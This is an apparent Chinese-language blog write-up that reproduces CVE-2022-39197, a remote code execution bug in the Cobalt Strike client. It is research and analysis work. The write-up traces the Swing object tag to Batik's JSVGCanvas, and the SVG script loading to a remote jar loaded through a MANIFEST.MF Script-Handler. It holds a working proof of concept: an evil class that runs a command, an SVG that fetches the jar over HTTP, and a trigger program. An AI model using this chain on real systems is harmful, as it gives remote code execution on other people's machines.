0%

CVE-2022-39197

image-20221019195602069

前言

漂亮鼠的文章思路也懂,就是头铁硬看了JDK,没有看CS里的具体类。今天再次分析。

在java的swing中可加载html标签,https://docs.oracle.com/javase/tutorial/uiswing/components/html.html,类似这种效果

image-20221018204036846

其中有一个object的标签,会实例化ObjectView类型对象

image-20221018203551343

大概就是通过classid去实例化一个符合一定条件的对象,并且通过param中的name与value进行参数的传递

image-20221018204153583

下面代码就是反射然后实例化一个类对象,setParameters进行参数的赋值并调用

image-20221018204517449

image-20221018204810300

提取我们要找符合这些条件的:

  • classid传入需要实例化的类,类必须继承与Component
  • 必须有无参构造方法,因为newInstance是调用的无参构造方法
  • 必须存在一个setXXX方法的XXX属性
  • setXXX方法的传参数必须是接受一个string类型的参数

光在JDK中就有300多个实现,我要是会codeql就好了(qaq)

image-20221018210145849

利用正则 public void set.*\(String .*\) 撸了两遍发现基本都是什么setText、setName等,根本没有什么危险的地方。

CS的分析

jdk看完了,放置了两天等网上的分析文章。当时竟然没有想到分析分析cs的jar包看看…将cs的jar包添加为库,重新寻找一遍,132个并不多。

image-20221018210719894

暂且找到一个 JSVGCanvas#setURI()

image-20221019091139491

通过搜索发现使用的是batik组件:Batik SVG Toolkit

Batik是Batik SVG Toolkit或Batik Java SVG Toolkit的简称,一个基于Java的应用程序或小应用的工具集,意图将SVG格式用于多种目的,如查看,主控或操纵。该项目的目标是让开发一套核心模块,以及实现高度可扩展性

setURI通过给定的url调用 loadSVGDocument() 加载远程SVG文档

image-20221019103128196

svg打xss的方式已经接触过,不如尝试一下引入script标签然后alert。

1.svg

<?xml version="1.0" standalone="no"?>

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg width="100%" height="100%" version="1.1" xmlns="http://www.w3.org/2000/svg">

<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red"/>

<script>alert(1)</script>

</svg>

发现报错了: classnotfound 这里提取两个信息,一个是 org.apache.batik一个是 org.mozilla.javascript

image-20221019103623108

后者通过查找发现是一款基于java编写的js引擎(Rhino),另外一个js引擎就是v8由c++开发。

Rhino 是一种使用 Java 语言编写的 JavaScript 的开源实现,原先由Mozilla开发,现在被集成进入JDK 6.0。与其他很多语言一样,Rhino 是一种动态类型的、基于对象的脚本语言,它可以简单地访问各种 Java 类库。

二者一综合,不难推测,由于svg文件中存在script标签,这时调用js引擎处理时,cs的jar中没有对应的库处理js,这里报错还有一个很重要的函数:loadScripts(),下面将进行分析。

独立环境测试

为了了解二者的基本操作,本地弄了一个单独的测试环境

pom.xml添加

<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino</artifactId>
<version>1.7.14</version>
</dependency>

<dependency>
<groupId>org.apache.xmlgraphics</groupId>
<artifactId>batik-all</artifactId>
<version>1.14</version>
<type>pom</type>
</dependency>

成功弹窗。

image-20221019110555092

发现Rhino中可以直接调用java代码

image-20221019110308207

直接尝试在js中调用java代码。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100%" height="100%" version="1.1" xmlns="http://www.w3.org/2000/svg">

<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red"/>
<script>java.lang.Runtime.getRuntime().exec("calc");</script>

</svg>

成功执行

image-20221019110732730

loadScripts

很明显这个函数是处理js的,获取所有元素集合,然后调用loadScript()

image-20221019172301926

loadScript()作用是执行没有执行过的 <script>

image-20221019113204559

由于cs中没有js引擎,所以最后无法执行evaluate,那么只能看看在第一个if中存在type字段的情况是否有后续可能利用。分析之后大概作用是满足下面四个条件后远程加载一个jar,利用其loadclass即可执行恶意代码。

image-20221019173929053

逐步分析构造poc

String href = XLinkSupport.getXLinkHref(script);

获取svg中的href内容,这里可构造一个远程恶意的jar

image-20221019175122018

this.checkCompatibleScriptURL(type, purl);

这里就是检查远程加载svg的地址与远程jar地址是否相同。

image-20221019175617657

URL url = cll.findResource("META-INF/MANIFEST.MF");

这里要求远程jar有该文件,接着从 MANIFEST.MF 文件中找 Script-Handler 的值,然后加载该值所代表的类。

Manifest man = new Manifest(url.openStream());
this.executedScripts.put(script, (Object)null);
mediaType = man.getMainAttributes().getValue("Script-Handler");
if (mediaType != null) {
ScriptHandler h = (ScriptHandler)cll.loadClass(mediaType).getDeclaredConstructor().newInstance();
h.run(this.document, this.getWindow());
}

这样构造即可

image-20221019180049077

补充:MANIFEST.MF添加SVG-Handler-Class同样可以

image-20221019181841415

poc

evil.java

import java.io.IOException;

public class evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

打包成jar

jar -cvf evil.jar evil.class

然后修改META-INF/MANIFEST.MF

准备svg文件

<?xml version="1.0" standalone="no"?>

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg width="100%" height="100%" version="1.1" xmlns="http://www.w3.org/2000/svg">

<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red"/>

<script type="application/java-archive" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://127.0.0.1:8000/evil.jar"></script>

</svg>

将svg与jar放到远程服务器中。

demo.java

import javax.swing.*;
import java.awt.*;

public class demo {
public static void main(String[] args) {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
createAndShowGUI();
}
});
}

private static void createAndShowGUI() {

JFrame frame = new JFrame();
frame.setPreferredSize(new Dimension(300, 300));
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setLocationRelativeTo(null);
JLabel jLabel = new JLabel("<html><object classid=\"org.apache.batik.swing.JSVGCanvas\"><param name=\"URI\" value=\"http://127.0.0.1:8000/1.svg\"></object>");

frame.add(jLabel);

frame.pack();
frame.setVisible(true);
}
}

成功

image-20221019180513452

cs反制

文章提到的两种手法

  • 首页frame绕过长度限制
  • 通过frada脚本来hook win api修改tasklist返回的进程名,将进程名改写成攻击payload

参考

Apache Batik SVG Toolkit

https://xmlgraphics.apache.org/batik/javadoc/

最新CS RCE曲折的复现路 (qq.com)

最新CS RCE(CVE-2022-39197)复现心得分享